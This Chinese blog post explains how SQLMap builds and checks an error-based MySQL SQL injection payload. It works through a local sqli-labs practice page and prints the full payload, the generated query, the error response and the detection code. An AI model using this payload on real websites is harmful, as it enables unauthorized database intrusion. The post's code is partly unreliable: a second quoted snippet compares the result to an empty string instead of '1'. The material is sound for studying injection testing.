Python：SQLMap源码精读—基于错误的盲注（error-based blind）

目标网址

http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

Payload的生成

 <test>

     <title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>

     <stype>2</stype>

     <level>1</level>

     <risk>0</risk>

     <clause>1</clause>

     <where>1</where>

     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>

     <request>

         <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>

     </request>

     <response>

         <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

     </response>

     <details>

         <dbms>MySQL</dbms>

         <dbms_version>&gt;= 5.0</dbms_version>

     </details>

 </test>

该test xml元素是从文件payloads.xml提取出来的。

sqlmap会实现读取payloads.xml文件中的test元素，然后循环遍历，并生成相应的payload进行测试。

以上面的test为例，当遍历到该test的时候，在其子循环当中，还需要依次遍历boundary元素（都在payloads.xml文件中），并找到一个匹配的boundary。

何为匹配？

注意上面的test元素的子节点：where=1 和 clause=1

当且仅当某个boundary元素的where节点的值包含test元素的子节点，clause节点的值包含test元素的子节点的时候，该boundary才能和当前的test匹配，从而进一步生成payload。

例如：

 <boundary>

     <level>1</level>

     <clause>1</clause>

     <where>1,2</where>

     <ptype>2</ptype>

     <prefix>'</prefix>

     <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>

 </boundary>

该boundary元素中的where节点的值为1,2，含有test元素的where节点的值（1）

并且，boundary元素中的clause节点的值为1，含有test元素的where节点的值（1）

因此，该boundary和test元素可以匹配。

test元素的payload的值为：

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

最终的payload是根据test的payload子节点和boundary的prefix（前缀）、suffix（后缀）子节点的值组合而成的，即：

最终的payload = url参数 + boundary.prefix+test.payload+boundary.suffix

将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

则生成的payload类似如下：

Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

其中：

URL参数：id=1
prefix：'
payload：AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
suffix：AND 'pujM'='pujM

最终生成的mysql语句为：

SELECT

    *

FROM

    users

WHERE

    id = ''

AND (

    SELECT

        1497

    FROM

        (

            SELECT

                COUNT(*),

                CONCAT(

                    CHAR (58, 101, 121, 111, 58),

                    (

                        SELECT

                            (

                                CASE

                                WHEN (1497 = 1497) THEN

                                    1

                                ELSE

                                    0

                                END

                            )

                    ),

                    CHAR (58, 97, 98, 104, 58),

                    FLOOR(RAND(0) * 2)

                ) x

            FROM

                information_schema. TABLES

            GROUP BY

                x

        ) a

)

AND 'pujM' = 'pujM'

如果，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话，那么执行的时候就会报如下错误：

Duplicate entry ':eyo:1:abh:1' for key 'group_key'

源码解释

 1 # In case of error-based SQL injection

 2 elif method == PAYLOAD.METHOD.GREP:

 3     # Perform the test's request and grep the response

 4     # body for the test's <grep> regular expression

 5     try:

 6         page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)

 7         output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \

 8                 or extractRegexResult(check, listToStrValue(headers.headers \

 9                 if headers else None), re.DOTALL | re.IGNORECASE) \

10                 or extractRegexResult(check, threadData.lastRedirectMsg[1] \

11                 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \

12                 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

13

14         if output:

15             result = output == "1"

16             if result:

17                 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)

18                 logger.info(infoMsg)

19

20                 injectable = True

21

22     except sqlmapConnectionException, msg:

23         debugMsg  = "problem occured most likely because the "

24         debugMsg += "server hasn't recovered as expected from the "

25         debugMsg += "error-based payload used ('%s')" % msg

26         logger.debug(debugMsg)

将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

test元素的grep子节点的值是一个正则表达式：<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>

由前面的数据，我们知道

[DELIMITER_START]=:eyo:

[DELIMITER_STOP] =:abh:

则最终生成的正则表达式为：:eyo:(?P<result>.*?):abh:(每次生成都是不一样的，因为:eyo:和:abh:都是随机生成的)

将page和正则表达式传递给函数extractRegexResult

 def extractRegexResult(regex, content, flags=0):

     """

     Returns 'result' group value from a possible match with regex on a given

     content

     """

     retVal = None

     if regex and content and '?P<result>' in regex:

         match = getCompiledRegex(regex, flags).search(content)

         if match:

             retVal = match.group("result")

     return retVal

函数功能较简单，主要使用正则表达式判断是否包含指定的数据，如果有，则返回匹配的数据，没有，则返回None。

由前面的内容，可知，如果url可以注入的话，返回值retVal应该等于"1"

if output:

    result = output == ""

    if result:

        infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)

        logger.info(infoMsg)

        injectable = True

而使用正则：:eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为：1

故，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入

建议阅读

关于Mysql注入过程中的五种报错方式及具体利用案例

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作　　　　者：曾是土木人

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